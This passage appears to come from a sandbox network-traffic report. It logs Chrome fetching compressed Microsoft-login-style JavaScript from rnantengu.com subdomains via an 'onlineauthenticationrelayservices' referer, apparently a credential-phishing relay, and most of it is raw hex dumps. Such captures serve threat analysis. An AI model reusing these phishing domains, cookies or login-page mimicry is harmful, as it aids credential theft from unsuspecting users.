2025-01-15 09:07:20 UTC	15472	IN	Data Raw: c7 b9 17 82 6c a5 1b 3b 19 8c f5 30 4f 58 28 1c 9b c9 04 42 6b 27 a2 d0 75 d2 2c 4e 82 d0 77 6c ce 6c 1f ba 49 02 4c cf 3d 74 26 44 92 71 f7 96 7b 2b ab dd 18 d4 73 e2 20 92 50 52 84 88 20 7a 33 68 b2 22 97 b6 eb e5 90 1f 79 10 f3 dd 74 96 fa 0e 54 bd c4 13 10 e7 50 8f 3d e0 36 98 a0 60 c2 f6 42 16 25 de 6e d6 c9 68 46 76 10 e5 c2 8e 93 18 4a 8a eb 64 92 79 22 71 73 cf b1 5d 97 fb b0 0c 76 d3 59 ea 40 2c 78 19 54 89 88 0b 70 70 5b 30 06 4b 20 08 49 65 81 9e 7c bb ad a9 d5 6e 8c 66 94 24 b0 8e 3d 98 30 b1 f0 13 e6 b9 82 27 92 4b cf ce c3 90 84 e4 6e e8 c9 4f 6d d0 68 cc b2 3c c0 9a d8 01 04 93 cb 59 e2 fb a4 3d 87 10 ec bb 99 3a a3 19 65 01 c8 27 97 7e 6c 83 8d 7b 91 ed f8 b1 c3 30 9b 60 b1 c2 b6 dd 9d 70 72 37 48 5d 57 40 e6 e5 64 16 3a 76 02 49 ee 32 e1 Data Ascii: l;0OX(Bk'u,NwllIL=t&Dq{+s PR z3h"ytTP=6`B%nhFvJdy"qs]vY@,xTpp[0K Ie\|nf$=0'KnOmh<Y=:e'~l{0`pr7H]W@d:vI2
2025-01-15 09:07:20 UTC	16384	IN	Data Raw: 03 f5 4d 2e 37 e9 67 f3 8d 32 1b 3b d5 ce c4 5a 6b 6b f5 d4 7a bf 69 36 a0 fe dd 57 f7 5d fd 6f 79 39 af d3 e7 3d 53 a2 bf d5 ce c6 52 1b 5a 25 53 a4 2e a5 36 dc 68 3d 40 a3 c0 ed ee 8c 5f 53 6e 13 26 28 28 9e 4a a5 bc bf 23 73 ac d3 e0 fa e7 0d ed 64 65 31 85 3d 49 de 8b b5 d1 ae 7c 5b 13 40 f4 67 b3 10 a2 3f d0 93 17 e5 5c 1e 37 90 dc 5f 90 af 64 41 31 58 9d ae 6a 1e fd f4 9a f2 1b 06 30 af c9 b4 bf 39 fd 6d 13 b6 a8 74 b6 0f bf 7d a2 58 c0 7a f5 e7 ad ef 1b 59 dd e2 89 3e c0 51 6f 65 f4 b5 73 b2 5a 68 e3 50 4e 69 af 6b ae 3d 1a fd 03 6a 97 d8 34 ac d9 c7 1b 7a be 52 66 d3 f0 20 81 36 37 72 d2 7c bd 76 82 ef 1b 9e a4 b8 d1 cf 05 f4 cb cb 85 11 76 9b e7 bd 5b 6d 13 19 ac 98 ea ad c6 ae b5 da db 6d ac 5b a6 f4 a7 a3 a9 cf ca c5 d2 8d 41 19 dc d0 b4 a8 45 Data Ascii: M.7g2;Zkkzi6W]oy9=SRZ%S.6h=@_Sn&((J#sde1=I\|[@g?\7_dA1Xj09mt}XzY>QoesZhPNik=j4zRf 67r\|vv[mm[AE
2025-01-15 09:07:20 UTC	8952	IN	Data Raw: 29 e0 a9 d2 0a 40 ef 4e 08 f5 dc ee 70 ec f5 06 e6 b0 6b b9 fd b1 67 4e fa f0 c2 1b 4e ee 3b 8a 7e af 3b 36 a9 69 93 e1 c8 22 96 3b b6 07 b4 d7 f7 ac 49 cf 72 fa 1e ed df 2d e4 2c 87 1f e1 d5 1d 81 26 cb ec 0e 07 43 da f5 7a 5e d7 1e 4f 6c 93 0e 29 e0 c9 9d b8 a6 d7 ed 7b e6 3d 86 a1 36 e3 61 cc 5c 67 38 f1 06 13 cb 1d 8c 87 63 ab 0f 0d ba de 78 38 22 8e d9 eb de 7b 34 fd be d5 a7 63 d3 1d 01 d0 c1 88 4c 7a 93 c9 c4 9b 10 d3 25 5d bb 3f 9e 90 7b 8f 03 b0 32 f0 4c ab 3b 1a 8f a9 d5 b3 7a dd 21 f1 06 bd e1 b8 4b 29 90 6f cf 5a 2f 14 ad c9 a5 73 8b 89 e7 4c 58 8f b9 79 d6 c1 32 83 b6 e1 c2 5f f8 33 87 3f 93 36 1a 54 51 92 5f e0 1f 0b 6d 9e 50 05 20 5d 62 1d 28 75 0d 7f 47 6d c3 c6 9f 00 e3 23 be 06 99 e8 0a 61 41 b5 19 fe 86 f7 47 f8 d7 6a a3 79 10 33 c3 91 Data Ascii: )@NpkgNN;~;6i";Ir-,&Cz^Ol){=6a\g8cx8"{4cLz%]?{2L;z!K)oZ/sLXy2_3?6TQ_mP ]b(uGm#aAGjy3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49951	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:20 UTC	525	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:22 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:22 GMT Content-Type: application/x-javascript Content-Length: 61136 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: 7e5a93f9-d01e-003d-6819-66c2f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090721Z-1698bcdb8c7qzhr9hC1BL1ybr40000000200000000000fcq x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:22 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c 60 9a 94 97 38 a4 11 5e 59 a2 6d 26 da a2 25 4e 46 d6 e8 40 60 4b 82 4d 02 0c 00 4a d6 48 fc ef 4f 55 f5 8e 85 92 92 dc f7 be 27 b1 08 34 aa f7 ea ea ea ea 5a dc 9b 38 19 a7 37 ed 82 4d d8 94 15 d9 ed d9 0d 3b 9f 85 d1 d7 9f f2 34 99 05 4b bf de df 9f 9c 7a ed d9 3c bf 72 4f 4e d6 4f fd 13 df f7 2f e6 49 54 c4 69 e2 32 bf f0 13 ef ce 99 e7 ac 95 17 59 1c 15 4e 3f 69 67 6e e1 f9 49 7b ec 16 be f3 6b 38 99 b3 9f a1 02 c7 77 55 36 ef 2e 63 c5 3c 4b 5a 59 9b 2d 3c 05 3b bc 66 49 b1 1d 16 2c 89 6e 1b c0 c3 32 f8 3e cb f2 38 c7 2c ac 21 cb b9 91 e5 28 0b 23 b6 cd ae d9 a4 01 78 6c 00 6f cc 66 a3 24 8f 2f af 8a 7c 33 cd ea 8b 8f ad 16 bd 0b 73 d6 08 6a 16 7d 36 fc 06 4d 1e b3 f1 28 Data Ascii: iwF0'W`8^Ym&%NF@`KMJHOU'4Z87M;4Kz<rONO/ITi2YN?ignI{k8wU6.c<KZY-<;fI,n2>8,!(#xlof$/\|3sj}6M(
2025-01-15 09:07:22 UTC	14460	IN	Data Raw: d1 99 5c 09 ed 09 67 1a f2 a2 d6 03 8e 2d aa 29 79 52 45 ab f0 ec 30 6a ba 82 2b ff d6 1f fa bb 54 cd 0a 8a 84 74 51 a8 ec a9 65 49 b9 e7 de 96 af a3 f8 28 aa 62 71 77 25 af 47 aa 08 55 3c 91 9a 91 a4 2f 57 cc 08 85 b5 cf b8 37 03 2d 0a f2 d0 00 ea ba c0 bb 84 7c 06 5b c0 ea aa fd 0e ed f2 23 53 27 1e f2 47 f6 cd e6 6d e3 f0 70 35 32 2e 7b e1 6c f2 4d 0d bd 94 06 9a d4 36 ae ae ee 8b 59 f0 d1 32 4d 37 d6 8f 83 ef 50 0d 05 b7 40 c1 19 f0 d0 3f c3 6f c5 e6 c5 25 de 9b a9 8b 0c 33 ec 52 9d bb 6d f2 b4 9d 70 69 0d 16 04 ec 27 f9 64 56 3c 3f 02 90 3a 72 61 3a 1c 0a 17 ee 15 90 92 c2 bd a1 20 7f 80 d2 9f 98 c4 19 14 3d 41 c2 7b e6 ee f9 37 8d a2 67 d1 37 f2 43 4a f0 bf d9 db b8 5b 66 13 ca 56 01 16 f7 70 b7 2f 6e 82 60 d9 ee f3 4b a0 5e b2 e8 5b 27 64 97 df 6e Data Ascii: \g-)yRE0j+TtQeI(bqw%GU</W7-\|[#S'Gmp52.{lM6Y2M7P@?o%3Rmpi'dV<?:ra: =A{7g7CJ[fVp/n`K^['dn
2025-01-15 09:07:22 UTC	16384	IN	Data Raw: 93 52 01 93 52 ee 3e 20 59 6a 9a b9 ad a4 66 6f 45 da 86 61 f1 f6 d9 d6 8c 32 3a 7f 1b 4e ca 8e d3 4b d9 e9 58 75 3a 45 a7 e9 5a 65 b1 1b c3 15 ea 97 35 86 01 ae 81 97 71 67 40 9d 1c c8 1e ba 19 dd 04 6a 82 53 9a dd 41 8f ad 0e 16 fa 69 2a af fd f6 64 3f 33 96 bf 96 5d 15 ef b5 bd 65 80 af b5 98 24 c8 df f2 b2 52 b3 e9 62 b3 27 34 ee 38 d0 79 fa 12 96 0d 72 6a bd 8e 47 53 dd c1 8a d1 6f 6f ae 4a 50 b2 1e 58 50 b8 99 cf c1 c4 52 0c 09 26 35 35 63 f9 79 c1 8a 76 c8 ee 05 08 d9 ed 8a 1f 82 02 11 23 15 5d f1 e3 3e fb 9f 3f f3 f5 19 fd ff 03 61 a0 69 83 80 18 e2 7b 33 d4 ff 3d 58 fd aa 30 59 e1 16 59 bb 39 39 cc 0f 08 c6 46 19 58 4b ae a3 0a 39 9e ff 6b 70 51 be fa cc 4b 1a 84 e3 48 27 b0 3e 0c 98 5f 8e 2d 93 a7 84 38 37 30 5c 87 6d af 16 da 72 6c 00 da 2b 6f Data Ascii: RR> YjfoEa2:NKXu:EZe5qg@jSAi*d?3]e$Rb'48yrjGSooJPXPR&55cyv#]>?ai{3=X0YY99FXK9kpQKH'>_-870\mrl+o
2025-01-15 09:07:22 UTC	14714	IN	Data Raw: 08 ab 28 ae 27 4d f2 1b 8a 10 0f 86 e3 48 d6 d0 4b 4c 27 7c d4 e1 7b 9a b0 2e fc bf 0c b3 fc e2 9e 15 78 13 e1 92 e2 1d a5 30 e5 4a 6f d9 98 ae bd 35 67 bd 60 dd 06 3a 84 7b ae b3 37 2d ae 3f e4 a1 60 bd 9e c5 83 9b 08 6a d4 b5 a9 88 eb 48 5f 0c c6 31 ad f8 86 14 0f 50 e1 4a 82 59 08 ae 46 9d 7d f1 7c 38 14 59 74 87 dc 44 8f 94 2e 1f 38 11 40 56 f0 1d 36 8a 74 83 99 af 1b b7 44 e0 c5 39 15 fc 46 26 7f 3c 9d e0 ba d9 40 31 c7 b7 de 38 1b 83 f9 ed 2c bd 89 12 39 32 f9 22 4e d0 9b 6f 93 4d b8 55 99 11 74 a9 76 dc 3b 21 6a ca 21 17 13 5e 35 fa 84 58 4f 7c e0 dc a0 d0 9c ee 20 a5 dc 22 9b 46 34 d7 ce 00 bc 57 1a 3e 9b b2 d9 6b 4f cb 10 96 9c ed 67 0f 1b 5f 08 95 dc 20 70 18 85 b7 0e 3c b3 c2 b7 88 7f 0a c4 ec 5e 78 1f f1 f7 f0 f2 86 70 ae 8f c0 4b de 03 53 fb Data Ascii: ('MHKL'\|{.x0Jo5g`:{7-?`jH_1PJYF}\|8YtD.8@V6tD9F&<@18,92"NoMUtv;!j!^5XO\| "F4W>kOg_ p<^xpKS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49952	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:20 UTC	772	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:22 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:22 GMT Content-Type: application/x-javascript Content-Length: 116400 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 05 Dec 2024 20:53:41 GMT etag: 0x8DD156EE6A82756 x-ms-request-id: ab7dd297-c01e-0005-7f84-662e20000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090721Z-1698bcdb8c7zn92phC1BL1y0ng00000000h0000000006u6m x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:22 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 63 88 8c f0 90 84 f4 30 93 04 0e 90 e9 e9 21 4c 1e 61 97 b1 12 23 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b 3b 3f 38 3d af 1d bf ab 9d ff e5 e8 f4 6d ed 04 ee 7e ad 7d 3c 3e 3f 7a 73 b8 7e 3d d8 28 fe 3b 9f f8 71 6d ec 4f 79 0d 7e af bc 98 8f 6a 61 50 0b a3 9a 1f 0c c3 68 16 46 5e c2 e3 da 0d fc 8d 7c 6f 5a 1b 47 e1 4d 2d 99 f0 da 2c 0a bf f2 61 12 d7 a6 7e 9c c0 47 57 7c 1a de d5 4c a8 2e 1a d5 4e bc 28 79 a8 1d 9d 58 2d a8 9f 43 6d fe b5 1f c0 d7 c3 70 f6 00 d7 93 a4 16 84 89 3f e4 35 2f 18 51 6d 53 b8 09 62 5e 4b 83 11 8f 6a 77 13 7f 38 a9 7d f0 87 51 18 87 e3 a4 16 f1 21 f7 6f Data Ascii: k[H(}[-cc0!La#ytkJ&^~_jW;;?8=m~}<>?zs~=(;qmOy~jaPhF^\|oZGM-,a~GW\|L.N(yX-Cmp?5/QmSb^Kjw8}Q!o
2025-01-15 09:07:22 UTC	14460	IN	Data Raw: c6 9a 08 5a 1a 9b 0e c2 c1 53 af 33 d1 34 d2 84 95 05 35 a3 ed 42 61 1c 0f c6 69 97 23 aa dc a7 40 cc 66 b4 87 22 87 c4 b0 91 f2 91 34 98 46 47 e8 73 94 45 2d b4 29 c5 a5 0c 98 e8 65 73 4a ca 80 7a 81 d3 30 c5 e1 73 c9 a7 41 a2 d8 a0 74 1a 50 03 25 ce a5 4b 6e 17 d9 c1 cc 6f 37 b2 7b 91 92 54 35 be d7 41 22 57 5d e7 3b 25 76 3b 2c dd 84 3f 1e fe 89 e0 4f 89 bd cc 24 0b 36 79 2c 8a 68 d8 2d 4c 47 f7 e9 28 48 ec de eb 43 93 ff 14 5b 0b da a9 34 ee b1 bb 21 bc 8f 7c 37 ea fb 7b 29 c5 47 a7 0c 04 09 f3 2d a8 05 0d b0 37 b0 ba 31 1c 07 7f 63 2c 7a 2a 9e c0 44 8c 5d df 62 f0 b8 69 6b 76 d2 b5 f1 4f 31 6d f9 0d b4 50 c4 62 fe 86 8b df 32 6c 2e 37 80 8e 9a de 7e 2a 3c 22 37 3c 12 96 f4 7d f4 7c f2 37 36 72 cd ee 14 f5 b1 13 78 3a d9 f3 fa 13 ad 77 4d 24 b9 a9 7f Data Ascii: ZS345Bai#@f"4FGsE-)esJz0sAtP%Kno7{T5A"W];%v;,?O$6y,h-LG(HC[4!\|7{)G-71c,zD]bikvO1mPb2l.7~<"7<}\|76rx:wM$
2025-01-15 09:07:22 UTC	16384	IN	Data Raw: 12 1f 7b f6 64 1d 3d 31 f2 ec 37 24 4a 8a 0f 14 08 bd de fe 4e 9a 41 3d a1 39 c2 44 63 e2 69 8b 49 4f 88 75 d5 0a 63 77 18 96 28 28 e6 f0 e3 31 80 68 2c 58 6f db 70 61 3c 4c ce 80 4b ce e1 a2 23 b3 4c b0 e4 74 8e 6d 63 d1 88 d2 ab c2 21 07 38 b0 ed 5d 52 52 d0 b3 a8 0b 27 93 8f ac 1c d6 2e 8e 91 0f 25 c6 2e a2 2b 3c 08 94 6f 21 c1 39 d7 70 36 c0 19 3d 3c f0 2f 3d 3c b4 78 39 86 36 d7 8a a0 c7 5f 82 47 30 fe c8 1a 6d 13 ec a4 b5 12 ea 47 e7 02 a9 92 13 5e 38 1a f0 66 89 21 3b 06 5f b6 c1 9b b3 45 91 fa d1 41 cb 4a 17 d6 88 48 19 65 bc 89 c5 30 94 0e 1c 39 c5 fd cf 66 61 5f 9a fd 0c 62 17 a8 61 6b 1b b5 a8 a9 bc d8 32 d5 a8 f1 13 d5 a8 79 ed 7e 9b d7 2f a2 ce 83 57 9e 4a cc fb 19 cf cc 13 a3 a4 95 a3 26 81 5b 1a 73 99 07 30 97 dc 7a 4c 82 5b 85 bd cd bf 8c Data Ascii: {d=17$JNA=9DciIOucw((1h,Xopa<LK#Ltmc!8]RR'.%.+<o!9p6=</=<x96_G0mG^8f!;_EAJHe09fa_bak2y~/WJ&[s0zL[
2025-01-15 09:07:22 UTC	16384	IN	Data Raw: 07 03 da 0b 54 a0 56 a6 e0 18 af 3a 72 3a 16 f2 18 0d 30 a6 96 5c f1 8d ba 64 4d fd 91 e5 c1 2f 65 84 6d a1 dd a3 59 22 a5 de c3 f3 b0 a4 95 d9 e4 87 e7 be 54 c9 ef 6f 8b aa b8 7b b8 67 26 01 2a a5 50 1f 03 92 f2 f0 78 02 27 3d 10 e2 a4 69 8c 16 8e d3 a4 f9 22 2c c2 1f e3 e8 06 8e d4 a4 a9 80 07 07 aa 3a 03 ae 83 b1 01 b3 cb 60 6a 5c 5d 01 3c ae 05 1a b0 0b e0 b8 ae 99 93 45 79 fc 0b ea 26 24 4c d9 0d 7f 70 15 de 3e 9f 03 38 70 28 a9 7b 89 0e d3 af 92 02 0e 9f 73 ba cc c5 a5 b1 88 2e 1c 22 03 d4 a7 d5 29 60 19 66 88 2c 10 56 91 25 b5 a4 3e 9e 14 30 85 d5 0b 38 82 2e 84 df 64 69 af e1 d0 5e c3 38 47 7d 3e 96 6c 18 f2 78 89 11 79 1b 60 51 f1 fb 22 0b 93 1c 1a f9 bd a2 8f 49 05 d1 63 17 63 b3 1e 1e ae cd c2 9f 68 00 3f a4 27 ab fc 51 12 90 06 9a c5 46 5a c1 Data Ascii: TV:r:0\dM/emY"To{g&*Px'=i",:`j\]<Ey&$Lp>8p({s.")`f,V%>08.di^8G}>lxy`Q"Icch?'QFZ
2025-01-15 09:07:22 UTC	16384	IN	Data Raw: e0 5d 70 56 8d 62 97 bc ac f9 42 dc 84 09 25 72 a7 2a 9b 23 d4 96 bb 78 c5 5a 78 4e 0e 4b c0 5a dd 54 41 9d eb 13 8f 76 29 e6 b0 88 3f bb b2 4a 4d d6 85 65 ea bf 20 b0 b6 8b 0a 24 01 30 2f 9f a5 b6 bb af e8 d1 c2 12 c7 50 6d 16 e8 4f 55 6a 19 aa ca 50 2f cc bf 9d be 79 6d 28 50 30 56 cf a6 d3 a6 d8 7b f3 d8 cd 30 0c 79 ee c1 a9 33 bf 28 f1 6c fc 50 b8 83 72 80 7a b5 93 88 12 70 21 e3 a6 88 18 c4 b0 e4 c9 16 56 6e fa 32 7e 32 35 3f 59 d8 95 e9 40 fe c6 cd 5a 82 05 f3 12 a8 42 66 b1 5a 46 99 50 68 95 e2 41 41 35 db 89 3f b5 09 f0 12 75 ff e8 59 26 1c e3 5f f9 46 ca dd be c9 03 6a 7b 9b 72 ea 08 f6 45 c7 05 41 b8 08 71 85 e9 7c 21 a2 dc 20 96 2f df 98 76 dd d8 61 f3 fb 22 fe 81 4a 73 6b 72 56 c0 4f 65 54 e6 66 bf 05 67 75 e3 de 98 b6 d7 37 0f 66 b4 6a 8c 15 Data Ascii: ]pVbB%r*#xZxNKZTAv)?JMe $0/PmOUjP/ym(P0V{0y3(lPrzp!Vn2~25?Y@ZBfZFPhAA5?uY&_Fj{rEAq\|! /va"JskrVOeTfgu7fj
2025-01-15 09:07:22 UTC	2731	IN	Data Raw: 0c 7f 81 4e e8 db 83 d6 7e 9f 05 63 6b 0a bf 4b f6 c0 61 b9 f5 1b 7c f2 9d 0e 98 12 86 94 9a c1 37 3a 9f 34 68 3f 04 30 85 21 c4 27 0f 00 43 98 6a 16 9a 03 3a 8f 2f 84 3a 52 72 f4 87 b3 07 9e 39 d3 59 da 7c 11 9f 95 71 c0 ca 07 38 21 91 f1 01 d1 6f 0b 3e c4 a3 5c b5 d2 58 30 56 ba a8 1b 63 8a f1 9d 01 f5 4f 29 d2 07 2c 57 da c2 a9 15 85 e9 12 c7 0e a0 3a ae d6 e5 57 57 d6 7a 25 56 07 26 74 18 6e d8 db 25 11 05 4a 23 e8 65 1d b4 26 f8 fe 27 1d 28 3a 84 de 98 1c fb 02 7b 92 a6 69 23 da b9 8e cc 17 65 6d 40 6e 87 68 e7 5a 49 d0 ce 40 48 a2 a3 8c dd 87 91 68 48 46 53 bc 70 c5 fe 6f 0d b5 c6 a9 5b b9 f4 18 65 a9 0a 08 31 dd d3 6d 5e 4e 0e 0d ae 6a ab 60 00 42 75 e8 b1 88 2a 0f b5 6c 0c 90 c1 5f 48 a2 ca 63 38 21 75 59 22 a0 53 b6 66 14 90 d5 71 24 c9 1f 48 72 Data Ascii: N~ckKa\|7:4h?0!'Cj:/:Rr9Y\|q8!o>\X0VcO),W:WWz%V&tn%J#e&'(:{i#em@nhZI@HhHFSpo[e1m^Nj`Bu*l_Hc8!uY"Sfq$Hr
2025-01-15 09:07:22 UTC	16384	IN	Data Raw: 9f 69 ac 94 47 f2 cf 18 ec 07 6c 58 19 31 dd 6f 85 bc fe 6c 6c 56 4d c9 44 e9 10 f3 51 3c 14 d8 b8 55 bb 65 56 e9 6d 30 0d c2 56 26 32 12 bb 99 48 b6 a3 1b 7c fc 74 93 61 bd 2c 70 93 0c 02 23 70 8e 72 8d f4 11 55 d9 65 79 a5 25 5f 8c ae 13 a1 ef 51 63 45 e8 4b 47 7a 4a e8 4b 22 de b4 d0 17 5d 23 07 e6 58 d7 c8 58 47 43 c1 ef 44 b5 95 bd e3 27 01 1b 99 6f ad 70 0c 67 dc fd 26 60 34 80 29 a2 06 57 cc 91 85 c2 8a 4d a0 17 7d 81 2b 06 c0 f5 8c d1 f8 08 28 26 36 40 b3 a3 48 4f 1b c6 0e 5a 36 3c e0 36 7a 63 9c 59 df 1c a7 cd 71 1d 20 c1 a9 dc 34 ef 16 0b 4f f7 d3 e6 b8 01 3d 96 e6 b8 be e9 77 e7 dc 1c d7 57 2c c3 98 78 db 37 53 f6 62 b1 da 6a cc a6 ec 86 63 2e ca 79 a6 a7 2a 76 ee 5a be a1 8f f4 9b c2 14 39 38 4a 00 33 3d be 69 4f f3 79 36 01 e4 36 45 69 ee 18 Data Ascii: iGlX1ollVMDQ<UeVm0V&2H\|ta,p#prUey%_QcEKGzJK"]#XXGCD'opg&`4)WM}+(&6@HOZ6<6zcYq 4O=wW,x7Sbjc.y*vZ98J3=iOy66Ei
2025-01-15 09:07:22 UTC	16384	IN	Data Raw: 26 66 19 27 e7 e7 81 e9 a4 66 13 8d 29 1f 99 4d 38 78 b3 78 73 64 c9 89 06 38 9b 58 53 f9 0a b0 e6 09 1c cc 30 48 30 9f d2 56 99 95 5a 87 4b 06 c3 3a 44 96 5c 18 f1 8e cc 3b cc ac f8 ee f4 e3 c5 af e7 d7 a7 1f 3e 9c fe 71 fd f2 d3 eb d7 e7 1f ae 7f bd 38 ff ed 0a 7d df b2 bf 3c 51 be c4 b3 84 94 d1 0b 18 2f b4 8a 86 df 29 d1 77 d0 70 b8 92 7c b1 3d 47 3b f7 55 80 1e 28 22 0f 8c aa b3 39 5e 2d c7 e9 15 31 87 5a ca d6 48 88 43 a4 d1 07 e5 5d 14 f0 85 36 b1 3e ae 22 19 8a 3a 79 fb c4 55 b4 11 43 5d fb cd f7 dc d1 1e af ad 71 a3 a5 76 ff d8 01 38 24 48 cb f7 7b a6 df ed 03 10 a2 84 16 a8 82 cd cc 21 53 68 a1 19 27 a5 90 36 e8 4d f2 e6 df 06 45 90 78 69 4d 0e 28 37 16 ee a2 28 41 05 b8 9b bc d8 7f 0d 93 99 4a 33 6f 24 27 61 dc ae 6e 19 6d eb 04 46 d9 c7 94 a3 Data Ascii: &f'f)M8xxsd8XS0H0VZK:D\;>q8}<Q/)wp\|=G;U("9^-1ZHC]6>":yUC]qv8$H{!Sh'6MExiM(7(AJ3o$'anmF
2025-01-15 09:07:22 UTC	1712	IN	Data Raw: 9f f5 49 1c 55 3c 5d 4f d6 71 2b 77 1d c8 02 6d e2 96 e9 a7 0a c0 7b b0 61 24 8b e1 38 b4 14 4a 93 61 45 77 1c cf de 2f 2d fb 7e 69 d9 f7 ab 97 7d 7f 69 d9 57 8f fb 15 8b da de 3a d4 a4 54 ea 7f d6 68 b8 6f 0d 4d e7 9f 10 3b 7c af 74 f4 84 5c 15 e5 3d de 4f ae 12 c3 78 3f bb 4a d8 e2 bd 77 a5 cc da fb b4 78 c8 27 c9 7f a5 ed cb 9f a2 4d b6 ac ff 2c 15 d1 7b f7 9a 38 44 bf dd c4 e1 37 18 37 50 5f 2a ec 1b 64 6f 0a 66 0e 94 f9 f7 5b 3a 14 47 ba f8 4b eb ee 2f ad bb a2 d6 5d d9 30 e8 4f 30 7d c9 fe 13 66 0a 7f 19 d6 fc 17 19 d6 74 36 b6 37 d9 b2 86 dc 71 4c a5 a3 8d 89 b4 a7 99 ad 30 96 59 69 06 fc 68 13 59 60 5c b3 a2 49 8c f0 80 e0 5b 3b ad a7 ad 8d 8e 74 c6 4b 9e 13 32 96 1a 02 f3 78 c1 ee 28 c5 20 90 15 8f aa 0d 51 54 de 7b 74 b7 91 87 8e 7c f4 25 a0 f4 Data Ascii: IU<]Oq+wm{a$8JaEw/-~i}iW:ThoM;\|t\=Ox?Jwx'M,{8D77P_*dof[:GK/]0O0}ft67qL0YihY`\I[;tK2x( QT{t\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49953	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:20 UTC	865	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: b997208a-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
